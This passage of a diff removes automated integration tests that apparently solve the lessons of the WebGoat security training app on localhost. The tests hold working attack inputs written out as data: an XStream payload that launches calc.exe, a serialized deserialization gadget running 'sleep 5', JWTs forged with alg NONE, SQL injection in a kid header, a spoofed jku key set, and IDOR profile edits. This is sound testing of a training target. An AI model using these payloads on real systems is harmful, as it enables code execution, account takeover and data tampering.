-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("crypto/signing/getprivate"))
-            .then()
-            .extract()
-            .asString();
-    PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
-
-    RSAPrivateKey privk = (RSAPrivateKey) privateKey;
-    String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
-    String signature = CryptoUtil.signMessage(modulus, privateKey);
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("modulus", modulus);
-    params.put("signature", signature);
-    checkAssignment(url("crypto/signing/verify"), params, true);
-  }
-
-  private void checkAssignmentDefaults() {
-
-    String text =
-        new String(
-            Base64.getDecoder()
-                .decode(
-                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
-                        .getBytes(Charset.forName("UTF-8"))));
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("secretText", text);
-    params.put("secretFileName", "default_secret");
-    checkAssignment(url("crypto/secure/defaults"), params, true);
-  }
-}

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -1,33 +0,0 @@
-package org.owasp.webgoat;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-import org.dummy.insecure.framework.VulnerableTaskHolder;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
-
-public class DeserializationIntegrationTest extends IntegrationTest {
-
-  private static String OS = System.getProperty("os.name").toLowerCase();
-
-  @Test
-  public void runTests() throws IOException {
-    startLesson("InsecureDeserialization");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-
-    if (OS.indexOf("win") > -1) {
-      params.put(
-          "token",
-          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
-    } else {
-      params.put(
-          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
-    }
-    checkAssignment(url("InsecureDeserialization/task"), params, true);
-
-    checkResults("/InsecureDeserialization/");
-  }
-}

src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java

@@ -1,210 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import java.util.HashMap;
-import java.util.Map;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.Test;
-import org.springframework.util.StringUtils;
-
-public class GeneralLessonIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void httpBasics() {
-    startLesson("HttpBasics");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("person", "goatuser");
-    checkAssignment(url("HttpBasics/attack1"), params, true);
-
-    params.clear();
-    params.put("answer", "POST");
-    params.put("magic_answer", "33");
-    params.put("magic_num", "4");
-    checkAssignment(url("HttpBasics/attack2"), params, false);
-
-    params.clear();
-    params.put("answer", "POST");
-    params.put("magic_answer", "33");
-    params.put("magic_num", "33");
-    checkAssignment(url("HttpBasics/attack2"), params, true);
-
-    checkResults("/HttpBasics/");
-  }
-
-  @Test
-  public void httpProxies() {
-    startLesson("HttpProxies");
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("x-request-intercepted", "true")
-            .contentType(ContentType.JSON)
-            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-
-    checkResults("/HttpProxies/");
-  }
-
-  @Test
-  public void cia() {
-    startLesson("CIA");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put(
-        "question_0_solution",
-        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
-            + " website.");
-    params.put(
-        "question_1_solution",
-        "Solution 1: By changing the names and emails of one or more users stored in a database.");
-    params.put(
-        "question_2_solution",
-        "Solution 4: By launching a denial of service attack on the servers.");
-    params.put(
-        "question_3_solution",
-        "Solution 2: The systems security is compromised even if only one goal is harmed.");
-    checkAssignment(url("cia/quiz"), params, true);
-    checkResults("/cia/");
-  }
-
-  @Test
-  public void vulnerableComponents() {
-    if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
-      String solution =
-          "<contact class='dynamic-proxy'>\n"
-              + "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
-              + "  <handler class='java.beans.EventHandler'>\n"
-              + "    <target class='java.lang.ProcessBuilder'>\n"
-              + "      <command>\n"
-              + "        <string>calc.exe</string>\n"
-              + "      </command>\n"
-              + "    </target>\n"
-              + "    <action>start</action>\n"
-              + "  </handler>\n"
-              + "</contact>";
-      startLesson("VulnerableComponents");
-      Map<String, Object> params = new HashMap<>();
-      params.clear();
-      params.put("payload", solution);
-      checkAssignment(url("VulnerableComponents/attack1"), params, true);
-      checkResults("/VulnerableComponents/");
-    }
-  }
-
-  @Test
-  public void insecureLogin() {
-    startLesson("InsecureLogin");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username", "CaptainJack");
-    params.put("password", "BlackPearl");
-    checkAssignment(url("InsecureLogin/task"), params, true);
-    checkResults("/InsecureLogin/");
-  }
-
-  @Test
-  public void securePasswords() {
-    startLesson("SecurePasswords");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("password", "ajnaeliclm^&&@kjn.");
-    checkAssignment(url("SecurePasswords/assignment"), params, true);
-    checkResults("SecurePasswords/");
-
-    startLesson("AuthBypass");
-    params.clear();
-    params.put("secQuestion2", "John");
-    params.put("secQuestion3", "Main");
-    params.put("jsEnabled", "1");
-    params.put("verifyMethod", "SEC_QUESTIONS");
-    params.put("userId", "12309746");
-    checkAssignment(url("auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
-
-    startLesson("HttpProxies");
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("x-request-intercepted", "true")
-            .contentType(ContentType.JSON)
-            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-    checkResults("/HttpProxies/");
-  }
-
-  @Test
-  public void chrome() {
-    startLesson("ChromeDevTools");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("param1", "42");
-    params.put("param2", "24");
-
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("webgoat-requested-by", "dom-xss-vuln")
-            .header("X-Requested-With", "XMLHttpRequest")
-            .formParams(params)
-            .post(url("CrossSiteScripting/phone-home-xss"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("output");
-    String secretNumber = result.substring("phoneHome Response is ".length());
-
-    params.clear();
-    params.put("successMessage", secretNumber);
-    checkAssignment(url("ChromeDevTools/dummy"), params, true);
-
-    params.clear();
-    params.put("number", "24");
-    params.put("network_num", "24");
-    checkAssignment(url("ChromeDevTools/network"), params, true);
-
-    checkResults("/ChromeDevTools/");
-  }
-
-  @Test
-  public void authByPass() {
-    startLesson("AuthBypass");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("secQuestion2", "John");
-    params.put("secQuestion3", "Main");
-    params.put("jsEnabled", "1");
-    params.put("verifyMethod", "SEC_QUESTIONS");
-    params.put("userId", "12309746");
-    checkAssignment(url("auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
-  }
-
-  @Test
-  public void lessonTemplate() {
-    startLesson("LessonTemplate");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("param1", "secr37Value");
-    params.put("param2", "Main");
-    checkAssignment(url("lesson-template/sample-attack"), params, true);
-    checkResults("/lesson-template/");
-  }
-}

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -1,100 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-
-public class IDORIntegrationTest extends IntegrationTest {
-
-  @BeforeEach
-  public void init() {
-    startLesson("IDOR");
-  }
-
-  @TestFactory
-  Iterable<DynamicTest> testIDORLesson() {
-    return Arrays.asList(
-        dynamicTest("assignment 2 - login", this::loginIDOR),
-        dynamicTest("profile", this::profile));
-  }
-
-  @AfterEach
-  public void shutdown() {
-    checkResults("/IDOR");
-  }
-
-  private void loginIDOR() {
-
-    Map<String, Object> params = new HashMap<>();
-    params.put("username", "tom");
-    params.put("password", "cat");
-
-    checkAssignment(url("IDOR/login"), params, true);
-  }
-
-  private void profile() {
-
-    // View profile - assignment 3a
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("IDOR/profile"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("userId"),
-        CoreMatchers.is("2342384"));
-
-    // Show difference - assignment 3b
-    Map<String, Object> params = new HashMap<>();
-    params.put("attributes", "userId,role");
-    checkAssignment(url("IDOR/diff-attributes"), params, true);
-
-    // View profile another way - assignment 4
-    params.clear();
-    params.put("url", "WebGoat/IDOR/profile/2342384");
-    checkAssignment(url("IDOR/profile/alt-path"), params, true);
-
-    // assignment 5a
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("IDOR/profile/2342388"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-
-    // assignment 5b
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .contentType(ContentType.JSON) // part of the lesson
-            .body(
-                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
-                    + " \"userId\":\"2342388\"}")
-            .put(url("IDOR/profile/2342388"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-}

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -1,271 +0,0 @@
-package org.owasp.webgoat;
-
-import static io.restassured.RestAssured.given;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import java.util.Map;
-import java.util.Objects;
-import lombok.Getter;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.springframework.http.HttpStatus;
-
-public abstract class IntegrationTest {
-
-  private static String webGoatPort =
-      Objects.requireNonNull(System.getProperty("webgoatport", "8080"));
-  private static String webGoatContext =
-      Objects.requireNonNull(System.getProperty("webgoatcontext", "/WebGoat/"));
-
-  @Getter
-  private static String webWolfPort =
-      Objects.requireNonNull(System.getProperty("webwolfport", "9090"));
-
-  private static String webWolfContext =
-      Objects.requireNonNull(System.getProperty("webwolfcontext", "/WebWolf/"));
-
-  private static boolean useSSL = false;
-  private static String webgoatUrl =
-      (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + webGoatContext;
-  private static String webWolfUrl =
-      (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + webWolfContext;
-  @Getter private String webGoatCookie;
-  @Getter private String webWolfCookie;
-  @Getter private final String user = "webgoat";
-
-  protected String url(String url) {
-    return webgoatUrl + url;
-  }
-
-  protected String webWolfUrl(String url) {
-    return webWolfUrl + url;
-  }
-
-  protected String webWolfFileUrl(String fileName) {
-    return webWolfUrl("files") + "/" + getUser() + "/" + fileName;
-  }
-
-  @BeforeEach
-  public void login() {
-    String location =
-        given()
-            .when()
-            .relaxedHTTPSValidation()
-            .formParam("username", user)
-            .formParam("password", "password")
-            .post(url("login"))
-            .then()
-            .cookie("JSESSIONID")
-            .statusCode(302)
-            .extract()
-            .header("Location");
-    if (location.endsWith("?error")) {
-      webGoatCookie =
-          RestAssured.given()
-              .when()
-              .relaxedHTTPSValidation()
-              .formParam("username", user)
-              .formParam("password", "password")
-              .formParam("matchingPassword", "password")
-              .formParam("agree", "agree")
-              .post(url("register.mvc"))
-              .then()
-              .cookie("JSESSIONID")
-              .statusCode(302)
-              .extract()
-              .cookie("JSESSIONID");
-    } else {
-      webGoatCookie =
-          given()
-              .when()
-              .relaxedHTTPSValidation()
-              .formParam("username", user)
-              .formParam("password", "password")
-              .post(url("login"))
-              .then()
-              .cookie("JSESSIONID")
-              .statusCode(302)
-              .extract()
-              .cookie("JSESSIONID");
-    }
-
-    webWolfCookie =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .formParam("username", user)
-            .formParam("password", "password")
-            .post(webWolfUrl("login"))
-            .then()
-            .statusCode(302)
-            .cookie("WEBWOLFSESSION")
-            .extract()
-            .cookie("WEBWOLFSESSION");
-  }
-
-  @AfterEach
-  public void logout() {
-    RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
-  }
-
-  public void startLesson(String lessonName) {
-    startLesson(lessonName, false);
-  }
-
-  public void startLesson(String lessonName, boolean restart) {
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url(lessonName + ".lesson.lesson"))
-        .then()
-        .statusCode(200);
-
-    if (restart) {
-      RestAssured.given()
-          .when()
-          .relaxedHTTPSValidation()
-          .cookie("JSESSIONID", getWebGoatCookie())
-          .get(url("service/restartlesson.mvc"))
-          .then()
-          .statusCode(200);
-    }
-  }
-
-  public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .post(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
-
-  public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .put(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
-
-  // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
-  // only required to be in the same package)
-  public void checkResults(String prefix) {
-    checkResults();
-
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/lessonoverview.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .getList("assignment.path"),
-        CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
-  }
-
-  public void checkResults() {
-    var result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/lessonoverview.mvc"))
-            .andReturn();
-
-    MatcherAssert.assertThat(
-        result.then().statusCode(200).extract().jsonPath().getList("solved"),
-        CoreMatchers.everyItem(CoreMatchers.is(true)));
-  }
-
-  public void checkAssignment(
-      String url, ContentType contentType, String body, boolean expectedResult) {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(contentType)
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .body(body)
-            .post(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
-
-  public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .queryParams(params)
-            .get(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
-
-  public String getWebWolfFileServerLocation() {
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("file-server-location"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    result = result.replace("%20", " ");
-    return result;
-  }
-
-  public String webGoatServerDirectory() {
-    return RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url("server-directory"))
-        .then()
-        .extract()
-        .response()
-        .getBody()
-        .asString();
-  }
-
-  public void cleanMailbox() {
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .delete(webWolfUrl("mail"))
-        .then()
-        .statusCode(HttpStatus.ACCEPTED.value());
-  }
-}

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -1,303 +0,0 @@
-package org.owasp.webgoat;
-
-import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.node.ObjectNode;
-import io.jsonwebtoken.Header;
-import io.jsonwebtoken.JwsHeader;
-import io.jsonwebtoken.Jwt;
-import io.jsonwebtoken.JwtException;
-import io.jsonwebtoken.Jwts;
-import io.jsonwebtoken.SignatureAlgorithm;
-import io.jsonwebtoken.impl.TextCodec;
-import io.restassured.RestAssured;
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.security.InvalidKeyException;
-import java.security.KeyPair;
-import java.security.KeyPairGenerator;
-import java.security.NoSuchAlgorithmException;
-import java.security.interfaces.RSAPublicKey;
-import java.time.Instant;
-import java.util.Base64;
-import java.util.Calendar;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.jose4j.jwk.JsonWebKeySet;
-import org.jose4j.jwk.RsaJsonWebKey;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
-
-public class JWTLessonIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
-    startLesson("JWT");
-
-    decodingToken();
-
-    resetVotes();
-
-    findPassword();
-
-    buyAsTom();
-
-    deleteTomThroughKidClaim();
-
-    deleteTomThroughJkuClaim();
-
-    quiz();
-
-    checkResults("/JWT/");
-  }
-
-  private String generateToken(String key) {
-
-    return Jwts.builder()
-        .setIssuer("WebGoat Token Builder")
-        .setAudience("webgoat.org")
-        .setIssuedAt(Calendar.getInstance().getTime())
-        .setExpiration(Date.from(Instant.now().plusSeconds(60)))
-        .setSubject("tom@webgoat.org")
-        .claim("username", "WebGoat")
-        .claim("Email", "tom@webgoat.org")
-        .claim("Role", new String[] {"Manager", "Project Administrator"})
-        .signWith(SignatureAlgorithm.HS256, key)
-        .compact();
-  }
-
-  private String getSecretToken(String token) {
-    for (String key : JWTSecretKeyEndpoint.SECRETS) {
-      try {
-        Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
-      } catch (JwtException e) {
-        continue;
-      }
-      return TextCodec.BASE64.encode(key);
-    }
-    return null;
-  }
-
-  private void decodingToken() {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParam("jwt-encode-user", "user")
-            .post(url("JWT/decode"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
-
-    String accessToken =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("JWT/secret/gettoken"))
-            .then()
-            .extract()
-            .response()
-            .asString();
-
-    String secret = getSecretToken(accessToken);
-
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParam("token", generateToken(secret))
-            .post(url("JWT/secret"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void resetVotes() throws IOException {
-    String accessToken =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("JWT/votings/login?user=Tom"))
-            .then()
-            .extract()
-            .cookie("access_token");
-
-    String header = accessToken.substring(0, accessToken.indexOf("."));
-    header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
-
-    String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
-    body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
-
-    ObjectMapper mapper = new ObjectMapper();
-    JsonNode headerNode = mapper.readTree(header);
-    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
-
-    JsonNode bodyObject = mapper.readTree(body);
-    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
-
-    String replacedToken =
-        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-            .concat(".")
-            .concat(
-                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
-                    .toString())
-            .concat(".")
-            .replace("=", "");
-
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .cookie("access_token", replacedToken)
-            .post(url("JWT/votings"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void buyAsTom() throws IOException {
-
-    String header =
-        new String(
-            Base64.getUrlDecoder()
-                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
-
-    String body =
-        new String(
-            Base64.getUrlDecoder()
-                .decode(
-                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
-                        .getBytes(Charset.defaultCharset())));
-
-    body = body.replace("Jerry", "Tom");
-
-    ObjectMapper mapper = new ObjectMapper();
-    JsonNode headerNode = mapper.readTree(header);
-    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
-
-    String replacedToken =
-        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-            .concat(".")
-            .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
-            .concat(".")
-            .replace("=", "");
-
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Authorization", "Bearer " + replacedToken)
-            .post(url("JWT/refresh/checkout"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void deleteTomThroughKidClaim() {
-    Map<String, Object> header = new HashMap();
-    header.put(Header.TYPE, Header.JWT_TYPE);
-    header.put(
-        JwsHeader.KEY_ID,
-        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-    String token =
-        Jwts.builder()
-            .setHeader(header)
-            .setIssuer("WebGoat Token Builder")
-            .setAudience("webgoat.org")
-            .setIssuedAt(Calendar.getInstance().getTime())
-            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
-            .setSubject("tom@webgoat.org")
-            .claim("username", "Tom")
-            .claim("Email", "tom@webgoat.org")
-            .claim("Role", new String[] {"Manager", "Project Administrator"})
-            .signWith(SignatureAlgorithm.HS256, "deletingTom")
-            .compact();
-
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .post(url("JWT/kid/delete?token=" + token))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
-    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
-    keyPairGenerator.initialize(2048);
-    KeyPair keyPair = keyPairGenerator.generateKeyPair();
-    var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .multiPart("file", "jwks.json", jwks.toJson().getBytes())
-        .post(webWolfUrl("fileupload"))
-        .then()
-        .extract()
-        .response()
-        .getBody()
-        .asString();
-
-    Map<String, Object> header = new HashMap();
-    header.put(Header.TYPE, Header.JWT_TYPE);
-    header.put(JwsHeader.JWK_SET_URL, webWolfFileUrl("jwks.json"));
-    String token =
-        Jwts.builder()
-            .setHeader(header)
-            .setIssuer("WebGoat Token Builder")
-            .setAudience("webgoat.org")
-            .setIssuedAt(Calendar.getInstance().getTime())
-            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
-            .setSubject("tom@webgoat.org")
-            .claim("username", "Tom")
-            .claim("Email", "tom@webgoat.org")
-            .claim("Role", new String[] {"Manager", "Project Administrator"})
-            .signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
-            .compact();
-
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .post(url("JWT/jku/delete?token=" + token))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void quiz() {
-    Map<String, Object> params = new HashMap<>();
-    params.put("question_0_solution", "Solution 1");
-    params.put("question_1_solution", "Solution 2");
-
-    checkAssignment(url("JWT/quiz"), params, true);
-  }
-}

src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java

@@ -1,230 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import io.restassured.path.json.JsonPath;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.List;
-import java.util.Properties;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-public class LabelAndHintIntegrationTest extends IntegrationTest {
-
-  static final String ESCAPE_JSON_PATH_CHAR = "\'";
-
-  @Test
-  public void testSingleLabel() {
-    Assertions.assertTrue(true);
-    JsonPath jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-
-    Assertions.assertEquals(
-        "Try again: but this time enter a value before hitting go.",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if lang parameter overrules Accept-Language parameter
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=nl"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Gebruikersnaam",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=de"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Benutzername",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if invalid language returns english
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "nl")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=xx"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if invalid language returns english
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "xx_YY")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-  }
-
-  @Test
-  public void testHints() {
-    JsonPath jsonPathLabels = getLabels("en");
-    List<String> allLessons =
